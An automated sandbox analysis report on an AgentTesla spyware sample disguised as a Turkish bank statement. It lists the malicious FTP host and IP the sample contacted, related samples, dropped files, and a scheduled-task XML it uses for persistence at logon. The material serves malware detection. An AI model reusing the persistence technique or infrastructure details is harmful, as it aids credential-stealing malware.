http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	hesaphareketi-.exe, 00000000.00000002.2067164468.00000000023E1000.00000004.00000800.00020000.00000000.sdmp, hesaphareketi-.exe, 00000008.00000002.4492018819.000000000304E000.00000004.00000800.00020000.00000000.sdmp, xyodEPhulIrkY.exe, 00000009.00000002.2098714484.00000000025B1000.00000004.00000800.00020000.00000000.sdmp, xyodEPhulIrkY.exe, 0000000D.00000002.4492600143.0000000002CFE000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
104.247.165.99	ftp.normagroup.com.tr	United States		8100	ASN-QUADRANET-GLOBALUS	true

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1463493
Start date and time:	2024-06-27 09:15:49 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 10m 4s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	17
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	hesaphareketi-.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@19/15@1/1
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 99% Number of executed functions: 155 Number of non-executed functions: 5
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240000 for current running targets taking high CPU consumption

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe, svchost.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
VT rate limit hit for: hesaphareketi-.exe

Simulations

Behavior and APIs

Time	Type	Description
03:16:39	API Interceptor	8430720x Sleep call for process: hesaphareketi-.exe modified
03:16:41	API Interceptor	41x Sleep call for process: powershell.exe modified
03:16:44	API Interceptor	6140427x Sleep call for process: xyodEPhulIrkY.exe modified
09:16:41	Task Scheduler	Run new task: xyodEPhulIrkY path: C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
104.247.165.99	hesaphareketi-01-pdf.exe	Get hash	malicious	AgentTesla	Browse
	19-03-2024_Takas_Sonuclari.exe	Get hash	malicious	AgentTesla	Browse
	CN-Invoice-0945413571-XXXXX6856-2312053735707600000.exe	Get hash	malicious	AgentTesla	Browse
	hesaphareketi-14-06-2024.exe	Get hash	malicious	AgentTesla	Browse
	hesaphareketi01.exe	Get hash	malicious	AgentTesla	Browse
	hesaphareketi01--.exe	Get hash	malicious	AgentTesla	Browse
	hesaphareketi-01.exe	Get hash	malicious	AgentTesla	Browse
	hesaphareketi-.exe	Get hash	malicious	AgentTesla	Browse
	hesaphareketi-.exe	Get hash	malicious	AgentTesla	Browse
	hesaphareketi-.exe	Get hash	malicious	AgentTesla	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
ftp.normagroup.com.tr	hesaphareketi-01-pdf.exe	Get hash	malicious	AgentTesla	Browse	104.247.165.99
	19-03-2024_Takas_Sonuclari.exe	Get hash	malicious	AgentTesla	Browse	104.247.165.99
	CN-Invoice-0945413571-XXXXX6856-2312053735707600000.exe	Get hash	malicious	AgentTesla	Browse	104.247.165.99
	hesaphareketi-14-06-2024.exe	Get hash	malicious	AgentTesla	Browse	104.247.165.99
	hesaphareketi01.exe	Get hash	malicious	AgentTesla	Browse	104.247.165.99
	hesaphareketi01--.exe	Get hash	malicious	AgentTesla	Browse	104.247.165.99
	hesaphareketi-01.exe	Get hash	malicious	AgentTesla	Browse	104.247.165.99
	hesaphareketi-.exe	Get hash	malicious	AgentTesla	Browse	104.247.165.99
	hesaphareketi-.exe	Get hash	malicious	AgentTesla	Browse	104.247.165.99
	hesaphareketi-.exe	Get hash	malicious	AgentTesla	Browse	104.247.165.99

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
ASN-QUADRANET-GLOBALUS	hesaphareketi-01-pdf.exe	Get hash	malicious	AgentTesla	Browse	104.247.165.99
	RFQ678903423_PROD_HASUE_de_Mexico_ExportS.exe	Get hash	malicious	Remcos, DarkTortilla	Browse	64.188.26.202
	BNP DOC 12578945329763-7633562829.exe	Get hash	malicious	Remcos	Browse	104.223.119.206
	19-03-2024_Takas_Sonuclari.exe	Get hash	malicious	AgentTesla	Browse	104.247.165.99
	SWU5109523I.exe	Get hash	malicious	FormBook, Lokibot	Browse	104.129.27.23
	BL-RTM1439068.vbs	Get hash	malicious	GuLoader, Remcos	Browse	64.188.16.157
	Hecker Glastechnik - Bestellung #009449 PDF.wsf	Get hash	malicious	AgentTesla, GuLoader	Browse	45.66.217.104
	AWB Shipping Docs No-285380XXX.exe	Get hash	malicious	Remcos	Browse	104.223.119.206
	UNCR76301078976375.wsf	Get hash	malicious	AgentTesla, GuLoader	Browse	45.66.217.104
	https://www.optimum.net/api/login/services/v1/signout2?referer=https://docsend.com/view/gnabnfu5rchh7amz	Get hash	malicious	Phisher	Browse	216.144.225.86

Process:	C:\Users\user\Desktop\hesaphareketi-.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1301
Entropy (8bit):	5.334025345208678
Encrypted:	false
SSDEEP:	24:MLUE4K5E4KH1qE4qXKDE4KhKiKhPKIE4oKNzKoZAE4Kze0E4VE4x84j:MIHK5HKH1qHiYHKh3oPtHo6hAHKze0HT
MD5:	C8D49A85A61847AAE0536AE8856F6DEC
SHA1:	D4121C87789F6AE40FCB9B4F896BC2A0C79182AD
SHA-256:	3F7809C712D948FF3404AE242044B5463E60BCDCE93121886F8CB36799D4E3CE
SHA-512:	FFD3460D5B6F00C49D7A91B299765BB7620B440718DACA711566C41A0C153F51E936EE479F4B9E002794EF2E0EBFFCED32ACE15CF9C7A892248EFA6A42468D51
Malicious:	true
Reputation:	moderate, very likely benign file
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..2,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\2192b0d5aa4aa14486ae08118d3b9fcc\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\2062ed810929ec0e33254c02

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\xyodEPhulIrkY.exe.log

Download File

Process:	C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1301
Entropy (8bit):	5.334025345208678
Encrypted:	false
SSDEEP:	24:MLUE4K5E4KH1qE4qXKDE4KhKiKhPKIE4oKNzKoZAE4Kze0E4VE4x84j:MIHK5HKH1qHiYHKh3oPtHo6hAHKze0HT
MD5:	C8D49A85A61847AAE0536AE8856F6DEC
SHA1:	D4121C87789F6AE40FCB9B4F896BC2A0C79182AD
SHA-256:	3F7809C712D948FF3404AE242044B5463E60BCDCE93121886F8CB36799D4E3CE
SHA-512:	FFD3460D5B6F00C49D7A91B299765BB7620B440718DACA711566C41A0C153F51E936EE479F4B9E002794EF2E0EBFFCED32ACE15CF9C7A892248EFA6A42468D51
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..2,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\2192b0d5aa4aa14486ae08118d3b9fcc\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\2062ed810929ec0e33254c02

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	2232
Entropy (8bit):	5.379460230152629
Encrypted:	false
SSDEEP:	48:fWSU4y4RQmFoUeWmfgZ9tK8NPZHUm7u1iMuge//ZeUyus:fLHyIFKL3IZ2KRH9Ougos
MD5:	28F8623974ADE7FF0B49C3406E91E372
SHA1:	739F9DD671D9788B182A7A2D506A3919CA1C6098
SHA-256:	3CFE86C229FC35A9886CD7D5A46DFF98C0389C9294C35AA82FA4F907A72E8269
SHA-512:	93E2DC72E86EE4006A29687F845FA384C4B3DF320191C77E64CF3EF751D641BB51328F5F36F31FF781F07233A4D3BF24DBC57CCE9B943756257D0A1E0912AB32
Malicious:	false
Preview:	@...e................................................@..........P................1]...E.....j.....(.Microsoft.PowerShell.Commands.ManagementH...............o..b~.D.poM......... .Microsoft.PowerShell.ConsoleHost0......................C.l]..7.s........System..4....................D...{..\|f........System.Core.D...............4..7..D.#V.............System.Management.AutomationL.................gQ?O.....x5.......#.Microsoft.Management.Infrastructure.<................t.,.lG....M...........System.Management...@................z.U..G...5.f.1........System.DirectoryServices4.................%...K... ...........System.Xml..8..................1...L..U;V.<}........System.Numerics.4.....................@.[8]'.\........System.Data.<...............i..VdqF...\|...........System.ConfigurationH................WY..2.M.&..g(g........Microsoft.PowerShell.Security...<...............V.}...@...i...........System.Transactions.P...............8..{...@.e..."4.......%.Microsoft.PowerShell.Com

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_0cfqgpxz.v1x.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_15ye2faw.mpy.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_dolm201u.snj.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ov0lmuqm.vxs.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_qz3n45m0.2rv.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_sgar5f1t.g13.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_szep01iy.4fk.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_w4zglblg.jqn.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\tmpBF7D.tmp

Download File

Process:	C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe
File Type:	XML 1.0 document, ASCII text
Category:	dropped
Size (bytes):	1586
Entropy (8bit):	5.104875849081153
Encrypted:	false
SSDEEP:	24:2di4+S2qhlZ1Muy1my3UnrKMhEMOFGpwOzNgU3ODOiIQRvh7hwrgXuNt7xvn:cgergYrFdOFzOzN33ODOiDdKrsuTlv
MD5:	A7E38673D8D14C5D128FB599C014FACC
SHA1:	907D9D122F7B428002B302B33974AECF4B2C6776
SHA-256:	8C71EFAD2E48D1581934637F7DEE18FD8C5B98D9D4F56CFF1EC8953F4C334249
SHA-512:	DE5DD8C706C26832E0E141497C8B7D29E5E9CDFDDDB8E9573F5E2D74DAF088AF8C9E08CE0106242EC07D0418B36A3A3B05DAA3D097A4F70E964B0F1EAE8291A3
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-16"?>.<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">. <RegistrationInfo>. <Date>2014-10-25T14:27:44.8929027</Date>. <Author>user-PC\user</Author>. </RegistrationInfo>. <Triggers>. <LogonTrigger>. <Enabled>true</Enabled>. <UserId>user-PC\user</UserId>. </LogonTrigger>. <RegistrationTrigger>. <Enabled>false</Enabled>. </RegistrationTrigger>. </Triggers>. <Principals>. <Principal id="Author">. <UserId>user-PC\user</UserId>. <LogonType>InteractiveToken</LogonType>. <RunLevel>LeastPrivilege</RunLevel>. </Principal>. </Principals>. <Settings>. <MultipleInstancesPolicy>StopExisting</MultipleInstancesPolicy>. <DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>. <StopIfGoingOnBatteries>true</StopIfGoingOnBatteries>. <AllowHardTerminate>false</AllowHardTerminate>. <StartWhenAvailable>true</StartWhenAvailable>. <RunOnlyIfNetwor

C:\Users\user\AppData\Local\Temp\tmpE555.tmp

Download File

Process:	C:\Users\user\Desktop\hesaphareketi-.exe
File Type:	XML 1.0 document, ASCII text
Category:	dropped
Size (bytes):	1586
Entropy (8bit):	5.104875849081153
Encrypted:	false
SSDEEP:	24:2di4+S2qhlZ1Muy1my3UnrKMhEMOFGpwOzNgU3ODOiIQRvh7hwrgXuNt7xvn:cgergYrFdOFzOzN33ODOiDdKrsuTlv
MD5:	A7E38673D8D14C5D128FB599C014FACC
SHA1:	907D9D122F7B428002B302B33974AECF4B2C6776
SHA-256:	8C71EFAD2E48D1581934637F7DEE18FD8C5B98D9D4F56CFF1EC8953F4C334249
SHA-512:	DE5DD8C706C26832E0E141497C8B7D29E5E9CDFDDDB8E9573F5E2D74DAF088AF8C9E08CE0106242EC07D0418B36A3A3B05DAA3D097A4F70E964B0F1EAE8291A3
Malicious:	true
Preview:	<?xml version="1.0" encoding="UTF-16"?>.<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">. <RegistrationInfo>. <Date>2014-10-25T14:27:44.8929027</Date>. <Author>user-PC\user</Author>. </RegistrationInfo>. <Triggers>. <LogonTrigger>. <Enabled>true</Enabled>. <UserId>user-PC\user</UserId>. </LogonTrigger>. <RegistrationTrigger>. <Enabled>false</Enabled>. </RegistrationTrigger>. </Triggers>. <Principals>. <Principal id="Author">. <UserId>user-PC\user</UserId>. <LogonType>InteractiveToken</LogonType>. <RunLevel>LeastPrivilege</RunLevel>. </Principal>. </Principals>. <Settings>. <MultipleInstancesPolicy>StopExisting</MultipleInstancesPolicy>. <DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>. <StopIfGoingOnBatteries>true</StopIfGoingOnBatteries>. <AllowHardTerminate>false</AllowHardTerminate>. <StartWhenAvailable>true</StartWhenAvailable>. <RunOnlyIfNetwor

C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe

Download File

Process:	C:\Users\user\Desktop\hesaphareketi-.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	615936
Entropy (8bit):	7.968233699686794
Encrypted:	false
SSDEEP:	12288:662o7fX9fXw9/DFmZOfBXZfg86lIEd12cE/hSXpjfVtXhI6:nL9fAJ5SOfBpfz+IeM/hCJxI6
MD5:	D8AA0C3EAED283B8D78298748900F395
SHA1:	9899CC61CB992DCFE49A04F4A4209852713B4AB5
SHA-256:	CE51BC85FA9CF4A581DE693C5901E0C03FFF712C40F723009E393BAD1A18D014
SHA-512:	34F42B761DD7A8774F628BB43D50C75202262518DCBAD01D23FCCB3323621852895F6FB1102AF16F3E7863B13A6CEF295F0B00CA987E1F885CDEBA196A974944
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 53%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....g{f.................\...........z... ........@.. ....................................@..................................y..W.................................................................................... ............... ..H............text... Z... ...\.................. ..`.rsrc................^..............@..@.reloc...............d..............@..B.................y......H........A...8......q....<...............................................(.... .........%.+...(.....,... .........%.C...(.....D...(t......z.(......}.....(....o....}......0...........{............3.....(.......................0...........{......,....f.........}......}......}.......s....o....}.......}....8......{....o....}......{....}......}.............}.....{........Y}.....{....-...+H.{........{....X.{....X .;.\|.{....Xa}......}.....{....on...:q....(....+..(........}.....

C:\Users\user\AppData\Roaming\xyodEPhulIrkY.exe:Zone.Identifier

Download File

Process:	C:\Users\user\Desktop\hesaphareketi-.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Preview:	[ZoneTransfer]....ZoneId=0

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	7.968233699686794
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 49.83% Win32 Executable (generic) a (10002005/4) 49.78% Generic CIL Executable (.NET, Mono, etc.) (73296/58) 0.36% Generic Win/DOS Executable (2004/3) 0.01% DOS Executable Generic (2002/1) 0.01%
File name:	hesaphareketi-.exe
File size:	615'936 bytes
MD5:	d8aa0c3eaed283b8d78298748900f395
SHA1:	9899cc61cb992dcfe49a04f4a4209852713b4ab5
SHA256:	ce51bc85fa9cf4a581de693c5901e0c03fff712c40f723009e393bad1a18d014
SHA512:	34f42b761dd7a8774f628bb43d50c75202262518dcbad01d23fccb3323621852895f6fb1102af16f3e7863b13a6cef295f0b00ca987e1f885cdeba196a974944
SSDEEP:	12288:662o7fX9fXw9/DFmZOfBXZfg86lIEd12cE/hSXpjfVtXhI6:nL9fAJ5SOfBpfz+IeM/hCJxI6
TLSH:	6DD4231587997273CB941D31EC32B58723B69223B692E7ADBDCC418B2B4738F45C6893
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....g{f.................\...........z... ........@.. ....................................@................................

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x497a1a
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x667B6712 [Wed Jun 26 00:55:46 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Entrypoint Preview

Instruction
jmp dword ptr [00402000h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x979c0	0x57	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x98000	0x590	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x9a000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
